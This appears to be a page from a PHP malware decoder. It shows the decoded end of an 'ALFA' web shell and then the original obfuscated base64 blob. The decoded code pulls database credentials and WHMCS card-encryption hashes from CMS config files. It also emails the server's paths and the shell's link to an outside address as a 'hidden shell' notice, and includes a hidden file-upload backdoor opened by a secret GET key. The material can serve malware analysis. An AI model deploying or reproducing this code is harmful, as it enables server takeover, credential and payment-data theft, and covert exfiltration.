\'host\'=>array("/\\$host(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbname\'=>array("/\\$db(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbuser\'=>array("/\\$user(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbpw\'=>array("/\\$password(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'prefix\'=>array("/\\$dbprefix(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3)
),
\'phpbb\'=>array(\'file\'=>\'/config.php\',
\'host\'=>array("/dbhost(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbname\'=>array("/dbname(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbuser\'=>array("/dbuser(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbpw\'=>array("/dbpasswd(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'prefix\'=>array("/table_prefix(\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3)
),
\'mybb\'=>array(\'file\'=>\'/inc/config.php\',
\'host\'=>array("/config\[\'database\'\]\[\'hostname\'\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbname\'=>array("/config\[\'database\'\]\[\'database\'\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbuser\'=>array("/config\[\'database\'\]\[\'username\'\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'dbpw\'=>array("/config\[\'database\'\]\[\'password\'\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3),
\'prefix\'=>array("/config\[\'database\'\]\[\'table_prefix\'\](\s+)=(\s+)(?:\'|\")(.*?)(?:\'|\");/",3)
)
);
if($cms == "drupal"){
	$file = $config[$cms][\'file\'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$cms = \'drupal2\';
	}
}
if($cms == "vb"){
	$file = $config[$cms][\'file\'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$path .= \'/core\';
	}
}
$data = array();
$srch_host = $config[$cms][\'host\'][0];
$srch_user = $config[$cms][\'dbuser\'][0];
$srch_name = $config[$cms][\'dbname\'][0];
$srch_pw = $config[$cms][\'dbpw\'][0];
$prefix = $config[$cms][\'prefix\'][0];
$file = $config[$cms][\'file\'];
$chost = $config[$cms][\'host\'][1];
$cuser = $config[$cms][\'dbuser\'][1];
$cname = $config[$cms][\'dbname\'][1];
$cpw = $config[$cms][\'dbpw\'][1];
$cprefix = $config[$cms][\'prefix\'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
	$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
	$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data[\'host\'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data[\'user\'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data[\'dbname\'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data[\'password\'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data[\'prefix\'] = $mach[$cprefix];
}
}
if($cms==\'whmcs\'){
if(preg_match($config[$cms][\'cc_encryption_hash\'][0], $file, $mach)){
$data[\'cc_encryption_hash\'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST[\'a\']))
if(isset($default_action) && function_exists(\'alfa\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'FilesMan2\';//\'FilesMan\';
if(!empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']))
call_user_func(\'alfa\' . $_POST[\'a\']);
exit;
?>
<?php
$kime="[email protected]";
$baslik="[- Hacklink Bildiri -] Hidden Shell Aktif Edildi ";
$aaaa="Dosya Yolu : ".$_SERVER[\'DOCUMENT_ROOT\']."
";
$aaaa.="Server Admin : ".$_SERVER[\'SERVER_ADMIN\']."
";
$aaaa.="Server isletim sistemi : ".$_SERVER[\'SERVER_SOFTWARE\']."
";
$aaaa.="Shell Link : http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."
";
$aaaa.="Site : " .$_SERVER[\'HTTP_HOST\']."
";
mail($kime, $baslik, $aaaa);
?>
<?php
error_reporting(0); 
if(isset($_GET["19e54f80cc8900fd96d95a89a44b7b922df86684e94b3b69e001edb03c99663dc7fbaa1421dca66ef7ec9967645a9589615cc302a17f2f9d8c2435ae960dc704"]))
 {
	echo"<font color=#000000>".php_uname()."";
  print "
";$disable_functions = @ini_get("disable_functions"); 
  echo "<br>DisablePHP=".$disable_functions; print "
"; 
  echo"<br><form method=post enctype=multipart/form-data>"; 
  echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>"; 
    if($_POST["k"]==upload)
{ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>".$_FILES["f"]["name"];
}else{
echo"<b>OK";
}
} 
}
?>'

Did this file decode correctly?

Original Code

<?php
$ritalin = "3gxIofw/b/656zxPwDZKWtCBCi2SPKKgxH4AkugIINDmfxK3PW28rqI3Rg/3bAOfKYJxqa8wdyP+i3SDjzvpt1YSbyrkMcD+IhUMJYW5bnqTeLmFeIBbSqp/6kmbOe1OP0g4XhrNWVTu/KgXusfFrs/LuU2ocmp9Mgxh3Mwgwp7mi7BvaGbjN+a5H1HNbYpmYwNN667DV4o+FgBKg0Um8FzkUjC76zeVAXuRKVO3zegnuwxpOc0vRcglv7/D3wOEY49UsoQ8D6jbsAwTdBVeNQhvBzfB0LTMRZU+esx3f5R/OwxGIjWkDeE7QgCccKIWRRahPgdcexnB3/NoRH+hXQOKoF9h4DPOSyLeyTFUDyPDNQBgRKEhKizn+I6DIADI+F9I23AGQGdiZMO1INsh4pIMwI1o7txjHvtRzo54POXkzIosoibFHgdewM8n03wnAkUob8eI5OOncMsyYoKX5oG/xpH1LiclZhUH0W83i2qm9GCulgME2s8NjqY+0LSrcjRHUW/Y26mkjakHZPXSoGdrOLXRB/aKu+5KUmrctX1SLsMnMxFSHfihr7JrW4Br9Q5efU3zMFutl11co3XZJBf3/fE3omjsRkSceU1UiNuNpNhGgTroLuiLHtcuS+AEP7iLTZhLRU8llst/bMdyfuKaa5nDlNEXP/Cvxfd/lK8XzKm8nlSYMk6snzu78fW7Xzf/G6VCCThvHPBHgZKEsBypTFSH9BnGuKMmlY/tuZT7C4fpSgP4j4CYSx+Z17/UMstYguhP7owWy+8wKPs1ZwRUj84Iy1DjnGagGG1dO8pcPbMJnjqcurJhirxPxD31Vud72fhXk4nXGR86Mbw4HW9Qzx3MFF+RoSPnsNyalqjGxxpdIOVDckmPE2l1iGojlD7I3FbpE0J32SAnkgRAdGpiJojuCIoTSoAAJjcREwZxBA0pP+kQ3k8wVaYICBTt4Zp9kgrNMQLAbxFYSkt+GkjfL5ROMUU2gz4p6MXgcBssCR88qy+nuZmse18eXKcIpd1w2bBHAj/rVbjiM1zNiaSfUcbaEx4BBPM3jjmfBGXzBxX0AGjy0AxkceKUKyeNDx2/99KGdeeWpuNDgwR03Pp6eXgodtC0ku1o6RRj09mIiPf3rG+sY/hXlGqcQtsjsQoQSnEEFb3duoAGe+AJWQLa7CSsnKJjcRdx7hBpTPW8eoFvzgx9NK+1ixA4uGPk/ALtzUmgbEaeCaynLA0Xwbn2IitBSsW0UNtz94T4af+hiIl/4cFYy/lFG3+b7v/O2NRdJzZAhVpBAGD2n5vx+7dQ0Nif8ocD2TmengYSE7EQVJ+C9D+0PRoZi/j+z8fDf7cc2WglSNJ5AwP1eaNQzihVbTwPxcWtwOhpf+5rGitFUt0bs/2bwyTKxlO2F88EC8XS3DcRt3MTaY8BqrPjzp8v6M2XA66rAb5x7jNbba9HQbPwSBP+9CiORb8zP0PQRU2f1Hw8zDfcEAAha3Pn8wDP8Ru/wjxgmeg5RNdWY45vk6dzLBmO46vgcETBv/E431RsC8w8Y8d/0es6/k29I2GNTK9KjBH8gMl7bML08154AeDfOhumkEwSwAwDQjFShUJYA8hnoHdP6p30bdOBtMwtX3IxzQGf1buH+s6v4mOulMRL1297m1BUXDDwI4zbqXBSbu++d/8HQ98Ogd7aPGezr/HC90czgErJgv6Gj5uiUPLTDAhfZPDV3+oeHNeUcgwox/rH/iGRcn2Xlnk5G/qQSLkiUjOWoMT/TzKJRh/022PVF77/Bjb6aPc+jPc9OGjzEFI4RXvR1pvxsqPAhA7OglajH+JjjDa0yMC7U0f5Cf6RE1NC/izeZXwYCZB6jlLZS5fJk8/QbYPK/RiEWfVIzOgh2YeTq7m1Vm1aeO0ZTj6GNu+8uSXqrbe7ujym/fPs/ZLpfHPr4d98DoUU9P9g9XpO9HaD9WG8/F3nAOBI7UNDsk8IR7Zsmbo9mHKX+Szj53jStrRNNyFNPu7lmGq/txmGo9BGLEvpZr/dEtdTjg+rSEGqdg3XNr942jCGPG+aFPtNm83uHvyTLBAsKHk0HUKe/ah5iHPHLNv0czdKuJ8DHqegcxY9pMxJkInq6ND8E0+rbWuv5Ud/aXqjHjMEE9hHZlXgN6Tcbuu1wxOE2pcM8rlRMFe5b0r9wo1Ld2HpqX96AXHR67etcUGAJoMDY4FLPCP0JPOf1DDQf/EbgTiOwKCvWuWQ34NQGDCzY9MloW/wExDjS3AipT57JRPbmraQDX8gT1PItNc9eoBeMaaaUpqeP3AO00/8DVqebc34DmXevIf8umIKoEIg+/yAsVOlWWjzdvbomFmDfk5y6wQQUUtO4C+n0/S4r0pmLYKIACqQj8XQps66+/DZO4QryZb4N2wxfNO/rbySXcr8AEe/QoBKWNhRHSqgc4Qm6nHRoiZENo7QS5LPhaoNQgkpfKeSqMm+N7RywkUJYpwgY6CAFRPGUAJLQ48D8bfMpSpsPNVCxKkwJJmYDUiaAtO/DeYgwVYbce1y/HtFrmf0dyorE/zOMLC8OBg07chEuHBuXvVaIy4mfn9Ofj7miKqBKnaqZIHDnyotb0DyJVWbNSVjZAMD0A3vAi8wnpSEH6pGTditQfy81hDxwQ4eDHMnFrqgoHCbDo/Y8NqGM0h8Iyk5fDQ0+UQawXxHqIgSztF753GNkhf5hdnmHbWF+PktPataBFmi4kFmTjSi4Ll4VLWcrYWirnV843NT2pr3WtE6zNHUpV4K2z+Z4jYh2QiSzc63SlWyyNAb2VtR6rkHSy4nYNYyFMMkzUkVjNas+HAw4z9jsu52YMYyJRTLLxYxgnJ45V2QAh1ZnaWXnPTZFyuGOT8YFLKZaWBF9NXliDPnJagwj0wvvXuUEvSIZM+qg4lJOm9RdfjIF06YMQGdACM2Va/JodYwwQRLzfdOJUA3BjsVe3ohVj8sEMdKf41npvFFUPNzW0jr3OiupV3kQOA1Cu8d9vfUWDLWiRzjXZViBEzkgy5sxsZHT0BkDPtwTg2xEgzwot1gi5cBxsnN5aZC21ZImE+hJ7oVsjkq5sMZMgzoDvnk9Abwo6IE0NmTmiB6IK59aOrfUNPcwRnSZzl8DNBpJMD1WxSYeunY2vzEu/iFKax5xxS4xJqQKj4HC3ktSF+gkNUAWjorkFuyLTohzP0rLRuzA0szgnrH3V2Sfg+eJAvegG5w59sAUB3lBIiXc9IJb5+WgTHFHIlZl37EgnwGlZ/aeSDMJA0r0JvTfYQ3BOVYyy8/mn3+wjrtQ2rFEwHsr/NLr4DWJUP/l+7WjVjZd/K6wJBWyd6d0+MCAb7CxH0di0BfARJl9kyYW7YYtJUs/VXuwnX8HgMi10Mx6WgDRl5oc2zBSklvUmH1rhwORHaUit+IIrzikNmp964CvSfku2h5BbJbeQ6h2SEF8ptZNEGQnVWZmAXFJnrAkOniC2qbhyXD0h/SrfL0w7su0dyVmJX1baZNTHsGbSCbuWL4OZ60AgHJcs6p8XlNLfNwX5E+q44gNKoreGPVz6Dh+Ed8XE1MOkigatY8Mff77d8mhHTrlqnuXR/SMK6ZxUuCaxfRDZzoW73EMQ6U1g0tRZspuAp/SkgeAX9HCGKBmY94NTXoLvhHLjkiLei668+YMYDgsQaN1hRqzuH6iQixCg87EnAMuOCUaseu7i+c7PFoMIesNP/IfDFk69dRFVAN9pOBJ8hT9AFSz1yeWdx8tQ8Vt9fxIjwy/z8HXHzjygye8uiPMYV0gmEG0r3eMg0ZTAx1rq1LIzDXF3UriMWmj8l2IxFRoBdU/QCNQE3DJL5v3833HnvAYGCqBizbrF/wBToZGLeefD4C9FHDAYc1ivHyZBbjLHf4r9QrSktpTreevKBF77nEWaJt5w+HRTemENZVYPPSUMr+v4SdxLyJcvt2HhB8UuAXnADG0bmEgX3nXLrNVy8s3FhxmqiXq5SPXSwq2dtq0WQar1mbuVJjuCYnjzZEjytBDffA0KU81TMmAb4+CBTH2Dxb0aKz3cCfdidmzcLyYoqR/Cqw9P8MVlZJSXJAvvW2/IMoecjoKdBF3YvzSZRDU+s7hloInwjeC6ckfh5NvAz0ABvQcI5IZ6JOHKCmewT4UE8ORyDo+j5RfMtG+1PM7e9cxtwhTZlC/bsEZG/1ArpYTZnC+QU81TW3+UA5S5XmD+HTZbbZtCfL1sLWACzdcTwnMlo+eTh5tRBiMjW8z6PJ/F6gPiNfeAoWJbE9epzk18rJ+lEfRAU4IeUR+GOaWAOvpvN7fgd4J3/zqUz/MqAO4AHXzPBxSEdArc0SsonI6kjIrnMnrJ91vyq8pZ7fCCyXMSddCG/cj9YphknvvM3CH75bnnwlUUCuIIEMObPse9B8M6PQnJ/K/I5o5XwnJrr/HGDrg4hHIFbDgfl+R8N+G8xc9tI/5AEOXABKgzVuD84ADnd2FRvfuKddyDDaophMPQ79NOwENb3zPacC1eMPCQmJfGr4vXIg6qZx3sTqjq8HodM/sgr7cVdE0RIcQ98RL1Sb4eV9fiteyTdOL9ChVQqDOSivTjvg1ehLRv7nZxdsImc2Q/o1KzB0ooLRA9h+5YgbD/HrmHOGOvgavh7M9nRAxSAMMRa9Lyv7QB/l0IxZe90WQ27K552kDW5o8o9tJwXh73cFRlkoA1ozEsH8VZA5LYX3EThKpIoKgbo4ZMwLBOAoelC2UeTDvrXHoSW3OfrpnToTJsLblb0u+kxlqVMN7OU+AeX7MDH8JwVI73g4L9/YF1PIGI/QQEz0wDh/K3B8oW20B4hb2PIS0M3aQCmhpeFxXSMjIipLmz7J1OuO7MtfvC8mw1a1dL4DtHjKEMw/hjKMCV1GHIpuqKG0GlvO+YPTcNHd1nPvPwiNZIPwkWARvBtX0TgGh44meNp/4PHNb46Os60KaIVjfTAf1jvL/SCmg6gPLbjrpw/BLx7xGaNwjP3bM4TGqltqK3pSmVs3dgf3jmu5nsBq7xB3rlchlwv3NbNP04EMozvbVQ+qHFVt+hvkdLM1rZWI0rwiCvBCPNmP1lFeGMygQMvwWznRAhUkQbpuJIgklo6xC4DESigc1CAUhR8Q3pAn58K9fhdll2Wxwxu8nXPH4OHOBFlJMVhFVNWuuK/hwbOnXPdpK1pObtPgwtyWeWu/xxFwi8D6xBe1YEUqv/WGM7ljsPg/ZEN+JZhJKH9KK5pgZEUoPuGUSbPlbxIhRKBvJxCcMwcC2sv5JazwEr3ekIGJ9MOUfMbfAZwgkVsUnjU4hG0tZu50ZiCchdtBO4anrYNqRdThzKARm1qbsyXvPxnKp/tWTVhzb6i4Bswe608hpbFolF4aUr1taXKHqXaTbpLX1Ll72jS03qFvKBiwipjkwM+3qSYLqU6KZubW/26A50KOntSmlQU5SVzmvnTok6mV9YW5qbraembW9mSfN0aTKT6yeoqRtKZznrJtq2+5LxM48ePEF3knkA+e2kqVuNggurFJimVVkUPJayohqMTaMwlBiAybByI0krb3x/8KpDAyVP9zNMu14cBvn+wBZo9dEBBsJ1gyQTVe4toXu99gBIgPQCeXEGYlTJuJmpshjwwRil4EaehOu9VihgqXhglcIlA2Fhg0AbRJTEdS5tI7ynSqwGKvRVA1hCqEr5kwT7tOYSAsfziCLND0b4ZfwcOlF3dkhghfEqVtYw4BMBUG2kZvOdzliuLi05pPQTyYvIdM4pYqU18BeRC96HSHOo10l8XU9rR5kvyvewbBxV+3I2cKgzKmXeQFOphRcpknMx9FKaZbQyr7hw/uPg+OqiMK0YbpmF6iDCZvDkX6r7cHwl2VCA140oK0ppB51XpVQCbJnDn8ovTiSaURlXCoGkR9wgOj+m5q2tpQS7TNinlrGQNPNsspzR4u36W80zvzrM8cipJICnM9iBvZG7lWJVAtvHg0EPBA2gMQfkwe2PmSa53+l0/5WBU59/M6u8IL7BZjWwjQ7aJsDN2ZCDSHrwMNP/Y4Yk59EO7SmlD4P7DX5I+lomymQjyCJVEaVtmr0KI+T4nA340ILcJdN9Wa+QTISkYrg1sFMMfQD27jZtqNQpWsPaCewvm1+WcEOeywHYvU5GHLAgeiPidiN+dUmdQsnqaheSyhE7gAadt1jERGcb48JrGi/7qY5EkbWsgiDQjgMAue1aLTBk/mTIPNiCSGJCyvErZ0PwgGBy9N4l76erKZFvSprnBrk17YmuyFvKWCZWDB55ANGWHkiBiNYKIEgmJqyT7UrDAUGR8ZXcESwehZGQ4KTfpmbUUH3VaGU4/hnn2JewPZeo7dTgXp4knBKzV3pl4KMBB9wrFC5Oph024h+G8MYagJcOEsWK5BZD6tP8/0hv3LMRYwp7M3EiI5QlAhBUHy0t39bMv6/DE5lNB2Ta0T9mpBMc8tX7dH4vvx/6l8vwu8uek3ldMeXYTl4wn1XjwfIAmnYyMwdHUwNhQdXlrXZzy5BO03AQR+juxxgRT8RUSwfQO9XAJ44jRiwnPoCK/ReiEBQ8ZRInd8WPsL3Y9Gei1igOF8KYymGE0BOxpvSE/9bKPA38p8npHTzhPMfFoBDfq268oM55drPEdyGDLlEEVqPS2zlYQyg/jAC0+eEf25Hb/aW/iUryA0ncGt/o6TYgDWKuBfpNtsnNNtTYS6RE2LDxVvDp3BWi6joSp0OJGIxcwI8LUXVDB9aKQmwt0gNsZhlm7nTLm/z3tUCdNFx8wqU/vBnSZxVCVw8B9k4sAKf9TtVEcSh3nVdQh/OyRfhBtQgSNHmYCuv5bOP69QtkxURWb8s2IKImWJB/779jCvTsOCpSfGnGiv2S3G8oTSwHVYNi33mAHnghdzTheRnjEcV8fC7ux+/dB/bAk6lM1gQUu71og44I38YLZ5tIIv0Fe/GI80FlGP3o1qOQUbN/0LhdWYZBkzRm6bzrdKCgf0r9QEJ76bAiH8dKCc3ueNmpAKmureWTXMHZksTwlIwVgxOGTtzepn+wgeiCokAmLyQIzFQuBAg3oY5KB7mm3JPfDpj6EvkSdkby7sV8hvT8GrhHxVhrBZJKXkMTiYVrsRK6OBQDXdHBrGTggZSQDpxGgXtGAQBVOvBy0LobwgGNMOvuwdrOUx0MDtJLYsBR30BTCMsl8PiCagr9UGr7n0JTSr79Vzv8V1DnaeCkQge6PNHg23STNmwgFX9/C8OzCNajn5ODcadGT3LG5rT1T9nw+BOrqT1cEeI0doaxY8QwiIhxMe2+T+VY4LiVWBuXfJjff/+rGMBhp+oTMzJUWY+JuwILLtt8yqo1jrwRAvPiyadRrT74OTvKT4ecx8+Nm5yZQowmxhPYG0cxNZrh3NMtc3uvfrqR+PBIQKT/zU+HWwMskRrjAgjGezxoGWcc9kWe0eIghfhYmyTHVWcdg5fcxTpeLcf4YE79J19IUU4andOmX540Fg51GeDRGg2Mh4tYo0/byma8zWZ0GEm+drWs1Uwox9Ox8X96eDverWX0SCDGCpZTkFJRdHy58OZoeGKccDW/AoDKyFZ8B23kzDPDunbMMBSkRz8jD3XUHGrcfZ0aXYEjPpLKBuLEcmP785qcIBcwMkNanzVQPQIWUe8D8eONH5a3UKwvYjxqOoTNQavczWmRs66fHjH96dOu6OI2aWxii+W2kjtr7lsR8UzLCTlvfOVz+cDMcas+Wdz2Nia7jFkZCYvDlvl8VIKwE5ztv5+Xrhmpjc2fS894xEgz4U2bvHN0+6gbuqRjmNCg3hc7RMAeshpmkHYDCCNg5AjHE4s1Mi4NRSzUSdt5CkWIc2oY+xdlB6MAxZQ4BGM7cWmsJakr5AcC0Qcy8EOe1vAnRvPOs+NmiOjrpRwT8jx7imentoD8ofsX4T8GmdkuoCviRzVys3wY5gyzrfVsNUZczln8f6aNj/1nK/VbkiMmI2+1JXKtUxbGTGu1CCqPjFn6CP7JXhg3Ql5NBF/XS4eNEvsdGnHJSrli/JgDa7zzKY36iKlTeimYuNm1h5fsjzgOPCkYRWeJaMBF3xpj95SqrkfO5E/MVXk/AHGfzXBEsbCCadpPnpBjFG1QZWsK8KlnRnJCBj1HZKrLzUWT4h9rmU/qP2Ga/UlJmR/9502VmGnmwQXMDaqmh5k0BVszDBrGLa40ySmNWNUkXmCPUGjGEkeEQnjDzGxoMSYOWJPvGiZ8YrhlZRUdP2jdtyLu2ryfDn/CSiYj7Sf+LANW+y69+XLyxl5lhU2KzVGL5PYZ0pkt4T8Fv9TP6fz811zHU972uZIZK0Sp17vU86827bzE6uAysGBCM/oRwSj1HlFezT/7OHfvOTO6wnTtmiKjrRUqO9MsB2+BgQF1Dw4RFTilhfBxMO3zTWV0mXpm3KH+a7/mK5ux+t8/0bP1EqsCM036X5ftz8xmJrAPCbkBHyU3/RSPu4ePuR8Zo9cq4+1lIYtadPcUWTcqR5L6QYvaCEbEjhqahMHiBGD7IzhMT3wqra/xIpNSb85+7OBviJ6nPKenZzjehYSQjh//bzZQbQZGZUKAoqIzRHzl7UVqjuNfMUOz5PsGc6JVNzbGrcVu3GAvGUFy07nPZKow1D0PU1CG+/1hceO7TF1PupaS7GBku2HNazvaBe0TrNEQP1AUhMrrKLx+K6MZ4BSsUG9bwU88GQh6bz7FmIqKpMpBRappXvqaUwiGKoABnMD7IYcMl+PQfhqx3ugmCaiJfX+mZKRbeej4KQzSCv363R1lJ67Q4xZeD7SVGF8lyCsnzpIMXV98Eyyc0ISw1LwqYR2zCKGPtSO1CP0+j0+3Inq/W/GXz3D3lOb6Pv1fT/Xp+bzHBYgeKHAZ2/yxTTrOE73eZwwqF3c3ELIAswWnw+3cvnhGU2zTNe71kJEulVQKdYa4fppPGf/0eCVwaprwRqV99vcLdfCWnFeFvk7Ac/8XSd/z5fDlFEiY0/Ns1DUxz8GwPQAvuxKMY8mFs0MmlStESH5CL6VdmS62f8JW7relh6xH7kzEkT/J4EihFaeCpaHBy2389TWBOSDEqnSVVV9jT5DxY2rb7A73I+GPmZs5/8WfDbeQN2RcbgrdvVI0QMyvKvIWVV6/RUIqZQ4D7ZsAGQr5BSMH4UfGIpzU2JQq0BZ5nuTDLM/V146NZvHSSCySUT2skAGpVec6TmsoJZrd9JPqE+ldCDSZhNWr/axGT5J5KisEpY5IdnYDfcMDfgB7JRTa+NMEjg9QPuRxjm38mJN+hxjs2x0f09I8NStH6tc6HPqJTy5oL78jHk0NlecrTTwhnew9oD3c4hOOJP88QoJAAU/bvg/tCwfbd9jO8otAOXeChykw7DkZjgkpj0ytnAxDJ2gwHDGyWBW1TepqfBC3TyUKdtWUneB1BtCz/nCNkm9ZPx39CHhM3AFLxT39qnfda0KiyceAJ+dn1GwzRa+YzY5tI8ZBwvB5HZnd9HGcq+1ohvwr/XWf53ijyoBpcLiva6AWT2FIeBLbosFptwfVPA9VIB4P6SPsAklAM9o0M67kJLEkLwdMiFwigHGW8aQsTVwWNYy29TCMRB1gYZLH4uicDP2JVuUQsvrHz903F7KgRz8HJbT41sh3k/zIp8ZhA/flWdA76AwDhvjQYOKDEyYXjsrtFyL1s2qR+mq8JEybfEqLcV7ynm9/ADnpdN8UyHppybBA/HjS3/2EmbOtqfg4PgxThDl+JcwzdhU+dIv3gxYhYa8PkNp9goNji3vM/xvi3bT/khGwjkrNKlPSyWZlLxl0M6qNfcHxX8jrky+ns1JrOhjhJbpYYtvi3fdIN0wUqChVnjR+QbG+P0Zygb5xX4rTfhl2DlRDxGGB/M7+uBz6WqX9J5JyOHmlgPdEynAKMoOlM3Xkj5Co+Hyjab3tb7/yQA2RAsEQrLsNTkS3ZoXBq+Ix4ggMoRJqAs5T0mXrcYLnwHiQ0gZ0kuhAyaj8FBFAGlqK02RG/4De6iHMF5D5lQcd1uh//BFsFIjTLwcTgDWuYe+5yMyesPGK240u2VJ71yRu08Xq7F8MUQfpyNEkXPRDuPDRXCqwaLRhlOuMtgcRXgHbwsfWUi1YbDNgCkjMNftM6eIoXYhTpIYogFCgfI6Cn7RAf4gOBjVYSJw0EvZNZU0Wv3jq4/JoABPkbooXA2ArM59Wfok8VZJiRYjygEG9DR/Khb3qP4DxAPmpheDbVGUE4qOwkMi+jU2V9uHPG85AQs16wlgANhaymHkTghr0AjIAKF3aJXWA3TWK47K1dIfxtg8ISDIYfjcCL+9tX4c6JJurcyp3BPq26u3FZTbsZizbuFv/xKWPM887HwDAmE5w9cllxztpOe4ue8zzbbA7QoZii3Hsh360TeP/0EQg9C+lTgWq+BtAeVdUMxXiwnOIIeAao6nUGiF/YDb8N1PdqHJRJXds8rZ6oHNSaE1rxBzbuS0DcMqlkQGPAwnFmZS/D0F2q38xn+8hA1FOQDxcoq07PMz1RoajHMhbdnrWMPGmaUiUHOhBclpIQx9PhbWwbSrk44Jnl14UVn0x9jDBkCghCayKLIMq0G++e4rDMjPq15njo3sFTqXagv+aKsi4x0AwWLRTmCd92c76CcRSmTw4+lOlYNAIne3AzSyaFAMDxiHvNY6H1jYP5FbJm/sY7jLiG5CPZdCYhm/1ZR/G8IPaQGxLGtpMzONfSLIKoTaUneK8pt+2wbxaWYjDM8EM0seeT+K0nyhrigFIx9Kmpj2uo3UJ9aeB3DuA5z4+iPoiEazhE5bB4nwaPgoqmfqT6pqPhYnld/L7CP1oXyqKUZB11tBG9OxM/yldQS0JnFNENpsmJtINv7E7/3xyea8yamNSIxg/Nx2OzIcBsXzOqx+RbAN/7GISWjDqHQXazpLtYEfkb5kOZP/pQydKm8ukEPZxDajXAODMYKojhKhayUS7BMdbHsidCOm2O8A59PXv6Lp1BoaYmwxBSNcWQYIW+0pjGapxqG33o4N43ujAjLHqXYmBAu8XPJyI6vFIEQWAVMDrAXFqCVK95MLsO3AHR/JuX/GPEP3BPMXkBIF0K5R9pX+EIEHqlnA5q7cWMC3O4CDuPjGQIJ5deYIB3UswwQ+5xzLQd3FNzgRU4EsExa2oTqqfqSeK66AHk4LbKw2eStoS1X5wvyl4nnmmbZS+Ri7oh520Lnffo+YlhlFbPlH9xgtExChFoaOwhXdHtQ8bzhPMjhkYO46SF4aN0q+BweG3IS8cQnLqIf21oVdA/Q+arb74R0zC4ywkZ8OzeSjFSt0LL8KcVwB5rGqPz1CJIKfCuL/LKiBRcFCunA49xRx2kUmwtnZsfUqn1Uog6YBVggNg4ScQrNBEW4w2XfNgme4YTk5gh/PRJBVYsxEN8CMBFat3R4GBGVt2ckVMc1TyTjIwvE2Qds0fkh9bgTO4QYuiQGUQXbcAhFVadWPzFkF5tCWMX0CUpSik57KAKGUFCoig5C0J/Kj4NFClp0IDgTOUx1wvpOBI4FtXzeqfnO34gXM06Ib8VGcl5cUvK1+z7HPGaLKExheJnxSpzEefbHc7QvSfB44BNYRRK/23zjtGFc/CuincR8fdsvYamhnBEy9unQhKjP4RggAJJQGe9m+Aqaj2AtQxBIx3zzBHlQZ4kTkx21+5EhQ8XJmRMFjBE1m6XBoj/pPrKtOFfEKcc0KQQOzVkXbKaP7pdKq+3r8rWnZq/2dFWGgCis0HnFJMaW9GRA4/W7SPkwQ6HqISMeO8x1zJb5GyfJsB2zocnHm+LdpFUqxCO+duBxXtwDilEPY74fUrghHHKm4i2UeaSAIuUwAxr2PdeIWFpetKhwQqydRp5swZMc8WT5v1oPR0pPfSvVM/5T6vRaaDHtSV6MwHtSgtviUacdWOXzxdXYeVr4tlxZEY1SK5hJJZIZ2KzUkhodLdTrlKZQZ1y/MPzp6HYnP+MDp7fon5Wp068npbtdBNGXsUy7FsK/X21kki5D522hvbLvLR2VX4IQJOHKCY31hrL0ApzFsjvb7ziHSgFLxlhUGIRbK8n9pmJrK0oqm9bfYe0t/yhuYqsiXC2/OumJ/0reitRLyN493nIMsIpDkY/D8bBWvDuhHZ/dAG7o6fkyruls5EBN/QUQ9nMXlEa5GD+lHlPNp61rmVuUVimkyy3b1L17UfLtaNiRwt1WB/xOYt0rren+36bJo0OP/B9ct9bu4n45KDPMQYIyTaX59xn3QE3XdoXtsRua8i5dL/BXJmIhBEzhH5v4W4xOpPFbZ9zUMdA/buLDAyRZHMBp1IWxBlLPX8FkPZp57TyhbxObf2q5DHv43u5bRCqkBgzBMoSjIp38cOnGTZ4UwIX/IABYiXxwYLSNlDRFSqoEUtgAV4XZVFFQlHPeF+XeUmCUGrCscIaXgxVGPDv44GPoUPui4KBIi3LSSfmrxd4hWn2KygW9GxqyCdGZ9DStvjHs0b+J0a/RIaA9x3ivyuDYTRyLsfLlOWmhhwtgsL1zoJKh7TDbUaSsCo8Z+0ymIQm+w0ZyvwY+dYt2PAgErMIUvo+V/gaI8wy+TPPwVrnf3p9kOz8TPPjRP98KCgl/ETQQawrMphGCB5r2jro2hE6ZWjOhYWv4BLO4Y68d93/MRE+BoNxmIvDXbEf3R2e/1NzNt6O3eQRfZ/iaPghiLw46xyyFOpADEd/emMCMY5phlfvk9cqAWxygeesmR14JiuhbkoVtQGdXWRLEK9GmPGa3gAA3+yIgdsIxCJ+Q9R2euGA42xHrIy1WjWHywWHYPE+GX+OgWhStAE2p+iYdie+JoPW1NW1Ie1t6U5Np1NXJJ/CC5cVdfdzkoyIWgnEd3m2wwLP3SXTxg1dL